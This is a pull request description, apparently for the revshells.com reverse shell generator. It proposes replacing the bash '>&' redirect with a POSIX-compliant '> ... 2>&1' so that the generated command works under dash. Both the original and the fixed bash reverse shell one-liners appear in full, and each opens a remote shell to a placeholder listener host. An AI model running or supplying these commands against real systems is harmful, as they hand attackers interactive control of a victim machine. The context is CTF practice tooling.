Replace '>&' fd redirect shortcut by POSIX-compliant '>' + '2>&1' to be compatible with shells like dash

[Daniel-The-Fox]

Hi there, 👋🏻

I'm hooked by THM since a couple of months and I'm currently working on the THM Hacker Holidays 2026. While solving one of the earlier rooms, I came across revshells.com and I love it! Great job! 👍🏻

Today, I noticed a drawback of the reverse bash shells generated, if used on a Ubuntu with default shell set to dash.

Executing the proposed command

bash -i >& /dev/tcp/<LISTENER_IP>/<PORT> 0>&1

in dash will result in the error:

/bin/sh: 1: Syntax error: Bad fd number

To solve this, one has to replace the fd redirect shortcut >& by the POSIX-compliant > + 2>&1:

bash -i > /dev/tcp/<LISTENER_IP>/<PORT> 0>&1 2>&1

This is exactly what this PR proposes to change in data.js.
It's a couple of chars more, but then the command works out of the box per copy &paste in dash-based systems. 😎